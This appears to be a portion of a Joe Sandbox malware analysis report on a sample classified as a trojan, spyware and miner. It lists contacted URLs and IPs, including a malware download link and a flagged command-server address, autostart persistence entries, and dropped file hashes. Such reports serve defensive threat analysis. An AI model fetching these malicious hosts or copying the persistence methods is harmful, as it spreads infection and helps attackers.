http://ustiassosale3.xyz/	true	Avira URL Cloud: safe	unknown
http://ximusokall14.site/	true	Avira URL Cloud: safe	unknown
http://privacytoolz123foryou.xyz/downloads/toolspab2.exe	true	Avira URL Cloud: malware	unknown
http://gilmandros11.site/	true	Avira URL Cloud: safe	unknown
http://fazanaharahe1.xyz/	true	Avira URL Cloud: safe	unknown
http://xandelissane2.xyz/	true	Avira URL Cloud: safe	unknown
http://193.56.146.41:9080/a.php	true	Avira URL Cloud: safe	unknown
http://www.google.com/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	Versato.exe.com, 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp, Versato.exe.com, 0000001B.00000000.777841625.0000000001249000.00000002.00020000.sdmp	false		high
https://support.g5e.com/hc/en-us/categories/360002985040-Hidden-City-Hidden-Object-Adventure	svchost.exe, 0000001A.00000003.788932714.000002A87A37E000.00000004.00000001.sdmp	false		high
https://corp.roblox.com/contact/	svchost.exe, 0000001A.00000003.802675841.000002A87A399000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.802772102.000002A87A391000.00000004.00000001.sdmp	false		high
https://www.roblox.com/develop	svchost.exe, 0000001A.00000003.802675841.000002A87A399000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.802772102.000002A87A391000.00000004.00000001.sdmp	false		high
http://universalstore.streaming.mediaservices.windows.net/411ee20d-d1b8-4d57-ae3f-af22235d79d9/1f8e1	svchost.exe, 0000001A.00000003.802772102.000002A87A391000.00000004.00000001.sdmp	false		high
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	55AD.exe, 00000014.00000002.1024501485.0000000000DF2000.00000040.00020000.sdmp	false	URL Reputation: safe	unknown
https://www.tiktok.com/legal/report/feedback	svchost.exe, 0000001A.00000003.791536211.000002A87A385000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.791510796.000002A87A37E000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.791483429.000002A87A36F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://corp.roblox.com/parents/	svchost.exe, 0000001A.00000003.802675841.000002A87A399000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.802772102.000002A87A391000.00000004.00000001.sdmp	false		high
http://www.g5e.com/G5_End_User_License_Supplemental_Terms	svchost.exe, 0000001A.00000003.788932714.000002A87A37E000.00000004.00000001.sdmp	false		high
https://www.roblox.com/info/privacy	svchost.exe, 0000001A.00000003.802675841.000002A87A399000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.802772102.000002A87A391000.00000004.00000001.sdmp	false		high
http://www.g5e.com/termsofservice	svchost.exe, 0000001A.00000003.788932714.000002A87A37E000.00000004.00000001.sdmp	false		high
https://www.tiktok.com/legal/report	svchost.exe, 0000001A.00000003.793499274.000002A87A353000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip%USERPEnviro	55AD.exe	false	Avira URL Cloud: safe	unknown
https://en.help.roblox.com/hc/en-us	svchost.exe, 0000001A.00000003.802675841.000002A87A399000.00000004.00000001.sdmp, svchost.exe, 0000001A.00000003.802772102.000002A87A391000.00000004.00000001.sdmp	false		high
http://crl3.digih	svchost.exe, 0000001A.00000002.817863919.000002A879A3C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl3.di)	svchost.exe, 0000001A.00000002.819626562.000002A879AEC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
5.188.88.63	urydiahadyss16.club	Russian Federation	34665	PINDC-ASRU	false
91.207.212.191	mxa-001d1702.gslb.pphosted.com	United Kingdom	52129	PROOFPOINT-ASN-EUGB	false
193.50.2.13	smtp-fw.cng.fr	France	2200	FR-RENATERReseauNationaldetelecommunicationspourlaTec	false
40.93.207.1	microsoft-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
192.42.116.41	cytheriata4.xyz	Netherlands	1101	IP-EEND-ASIP-EENDBVNL	false
185.183.96.3	privacytoolz123foryou.xyz	Netherlands	60117	HSAE	false
142.250.102.103	www.google.com	United States	15169	GOOGLEUS	false
142.250.102.147	unknown	United States	15169	GOOGLEUS	false
209.222.82.255	d138221a.ess.barracudanetworks.com	United States	16509	AMAZON-02US	false
209.71.212.24	mxmta.owm.bell.net	Canada	577	BACOMCA	false
5.61.37.41	unknown	United Kingdom	28753	LEASEWEB-DE-FRA-10DE	false
77.74.208.206	mail.simec-ing.fr	France	42845	BRETAGNETELECOMFR	false
95.216.195.92	unknown	Germany	24940	HETZNER-ASDE	false
213.120.69.89	mx.lb.btinternet.com	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
188.130.11.227	mx14.mail.magic.fr	France	35393	EURO-WEB-ASFR	false
212.77.101.4	mx.wp.pl	Poland	12827	WIRTUALNAPOLSKAGDANSKPolandPL	false
193.56.146.41	unknown	unknown	10753	LVLT-10753US	true
193.56.146.42	unknown	unknown	10753	LVLT-10753US	false
67.195.228.106	mta7.am0.yahoodns.net	United States	36647	YAHOO-GQ1US	false
193.56.146.43	unknown	unknown	10753	LVLT-10753US	false
108.177.119.27	ASPMX.L.GOOGLE.COM	United States	15169	GOOGLEUS	false
68.87.20.5	mx2.comcast.net	United States	7922	COMCAST-7922US	false
185.132.182.62	mxb-00120b03.gslb.pphosted.com	Netherlands	52129	PROOFPOINT-ASN-EUGB	false
52.47.149.86	mx03.cloud.vadesecure.com	United States	16509	AMAZON-02US	false
40.93.212.0	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
213.227.140.23	unknown	Netherlands	60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
144.160.235.144	al-ip4-mx-vip2.prodigy.net	United States	797	AMERITECH-ASUS	false
24.201.245.37	mx.videotron.ca	Canada	5769	VIDEOTRONCA	false
95.215.205.85	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	false
91.83.45.41	mail01.indamail.hu	Hungary	12301	INVITECHHU	false
84.2.43.65	fmx.freemail.hu	Hungary	15545	MT-DC-ASEUHungaryHU	false
212.27.48.6	mx1.free.fr	France	12322	PROXADFR	false
193.56.146.188	defeatwax.ru	unknown	10753	LVLT-10753US	false
108.177.127.27	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	479095
Start date:	07.09.2021
Start time:	16:00:58
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	DWVByMCYL8.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	54
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spre.troj.spyw.evad.mine.winEXE@83/28@344/35
EGA Information:	Failed
HDC Information:	Successful, ratio: 43.8% (good quality ratio 40.2%) Quality average: 68.4% Quality standard deviation: 33.3%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 20.50.102.62, 20.54.110.249, 93.184.220.29, 40.112.88.60, 104.215.148.63, 40.76.4.15, 40.112.72.205, 40.113.200.201, 13.77.161.179, 80.67.82.235, 80.67.82.211, 104.26.13.31, 104.26.12.31, 172.67.75.172, 13.107.4.52, 202.137.234.30 Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, cs9.wac.phicdn.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, internetbeacon.msedge.net, beacon.ds-c-0003.c-msedge.net, ds-c-0003.c-msedge.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, mx.rediffmail.rediff.akadns.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, crl3.digicert.com, microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:02:30	Task Scheduler	Run new task: Firefox Default Browser Agent D5FDEADC73B654D5 path: C:\Users\user\AppData\Roaming\geedrvu
16:02:49	API Interceptor	335x Sleep call for process: svchost.exe modified
16:03:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run mnau3y13masd132.exe C:\Users\user\AppData\Roaming\mnau3y13masd132.exe
16:03:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run mnau3y13masd132.exe C:\Users\user\AppData\Roaming\mnau3y13masd132.exe
16:04:18	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TmpVRlruOk.url

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1E4A.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697926176785525
Encrypted:	false
SSDEEP:	96:9GiZYWznPI9m+eHYcYCWmsHoUYEZJAztnip4O4Ukw/8+amN0VrU0RTII/F3:9jZDzZ+Y7YAO/amNaHRT/F3
MD5:	480D221044D545E520C44FC64E02291A
SHA1:	066AD7C9DC27A4F4AFFD362A071C4639E2106286
SHA-256:	F0286E409C71219B184D25B88FC981A186E74BF979A56D5ACF4759ED09137568
SHA-512:	0F52891E9BDCAE3BBD7EAF9D304149F3C86E20E71828AD9B54156E88B6009577537573DF47B815233CC9ECE09296E8CC15424EBCB2BC85F64B0EF3D1AC309C12
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1EB8.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.698335002263151
Encrypted:	false
SSDEEP:	96:9GiZYWzr2dCU5hY/YLWVEOHoUYEZeUtnin4OpUHwBsP8a/sD8+UTRT4IuF3:9jZDzro40ZZska/sRQRDuF3
MD5:	98DB9DB3A4B48DEC9B52B16E4620BE95
SHA1:	EB78AD4DE29F69D404DC509827625DF09D8EA327
SHA-256:	36CEBA845B0C5C0E4B926C8C05327F8BCBA275B487B4C52A695B205DE0EBAA19
SHA-512:	A2864699E768E1906399C1A58DF2C7F9BA835CE83A1561B4ACE49B449023FC179C7E0F9D520E441461CC17002022AB07A2F908C7D3C2EA448C93D9C450754687
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2144.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	58140
Entropy (8bit):	3.062237978907629
Encrypted:	false
SSDEEP:	768:KgHkjuYlEF41QoGE6CbJgNZ6KX0XNzk/iELj9eC4+iK27O0xmI9DX56YGnDtfKhY:KgHyuY+41QoGE6CbJm6tQi2Vnh/L/5l
MD5:	8027404E726F2B93E62222D9835BC991
SHA1:	35C2AD05F325F9EEBED38C707AE5B222904F34D5
SHA-256:	AB10FACCAFD8770231BE38F8F63C991C40A79C2B0010F570D50386F3F2E31797
SHA-512:	26F009E1EBB71BF8EFD93BB69F5CBC36D91E9E95E8A3B2A8D894F78E3E6089F258DAA2F7476615902AF92DA26693D9753418B96AD99B067E89E6B9C7DA834F6E
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER35C7.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696933874885509
Encrypted:	false
SSDEEP:	96:9GiZYWz/xi+qYgYtW1HbUYEZhTtkiwPwUvwEBZiQaeVlyATANIqR3:9jZDzeXOsqQaeVlyAJqR3
MD5:	E50CAA3851CA674A61F06BF1586E7871
SHA1:	FF02626728E8C5B4FE3F09F222AE228ED027EA04
SHA-256:	93898FEDA7676633C3F7D72CE396FD2D5AEFD45B9BAE5135024E5BDD2D5B88C4
SHA-512:	D7F45BC9DC34E1193E0B830FE78B9B49BCEAD084B56D184A160CE4B6AAB816F9F203C161F4CF7D4ABC0EDC3EC066B0F8F8CCAEFE4D3B594A84C5FCB15EF547B8
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4A89.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	60234
Entropy (8bit):	3.057302567057906
Encrypted:	false
SSDEEP:	768:2/HsusM3EeneGbhCbaPS6KXQNXiGIXuV+xWeC25xfOpTXEYYnDZuj2ZRDbfcx/C:2/HsusMfneGbhCbZ67FiLnuQfcx/C
MD5:	506872DDB91067EF3E4367C84F4A9401
SHA1:	454AC27BC4BD593396B26CFDD5D241E564A48375
SHA-256:	56B631B6DD7C7FC2BF63CA180AC6351F0E00FE7E81C6F4A8DE4A24F5BDEF521D
SHA-512:	96CDD3E0AE3EEEFA10A48FD0233D7E1140CB491A0C743AE35767F6C1BFBC4B957E355DD5E442E0535B4981A3919E4B7F3CC99D4D0AFDE0F7C9BDC92727278028
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6797.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6974656331563724
Encrypted:	false
SSDEEP:	96:9GiZYWzeekh8WYsYxZW/UHfUYEZ6MtkikPSU+w5SUAmaJjjHPtCTSIr/f3:9jZDzqL0pBRaJjbPtCZrn3
MD5:	A642C7811E3A134B4C022097FE41F562
SHA1:	8F325DD2EBCB8844FCD35DD9FE0323BDAE4D1B09
SHA-256:	E60E80D79D169C05A3996989A2476AAFA2692FED132B5962E2B483C4ACFBC718
SHA-512:	F5D469EC90BFCDB72B66F5A4269F9E7C03575C36D527EB882C0D9B44CA66C36C24B0CD93C536AE28F82BF374D5C664EBE9381ED0E5C17FE58F4274D2439FEC64
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER910A.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	66380
Entropy (8bit):	3.0443640882874776
Encrypted:	false
SSDEEP:	1536:QQHzu5eco6ICCbyE27Rkoui1niJXnpfmX:QQHzu5eco6ICCbyE27Rkoui1iJXnpfmX
MD5:	AB28AC1968C8D6947B2E9CCF9212539F
SHA1:	48DF0D22DBD3B96E69C655456A3CA46B03CB0E4B
SHA-256:	C4C6ABCB59F850F49DEDAA757542FBC15EC4BC21C72A1F4C0D819D4F09B6A352
SHA-512:	A0C0078065B91391BBACC3C99FC249E085C6B5EAE781C65C7BB8B50C96E6FB18D66195CA3E719DD4A52EC39CE0F81C11D6200AD4A75E29076C595F3E52CF7039
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB52D.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696851330482105
Encrypted:	false
SSDEEP:	96:9GiZYWzICg797dYpY/WV0fH2UYEZoXtkiTwgU9ws9Accalnvi/dIhTyIJa3:9jZDzIf/+A0GzcalnIdIhJJa3
MD5:	9B9F6AF29AE702695DB70D5516BF8853
SHA1:	4C85A8DE737B64643CF3AEF942A6B4F5C59AC9D6
SHA-256:	E2BE7DCB16BBDB0D19B300BD8E9EA570B1C65A5CA52B5EFD7C593DD11E4707FA
SHA-512:	13E476199AE0D641275AA18B9E01757AA40497826F65BB3DE3EA9040EFDFD623B3BA2CE8A6D29A48198D49AF5D9514183741BE2C6CEEB01A5D11971C7BDA52BA
Malicious:	false
Reputation:	unknown
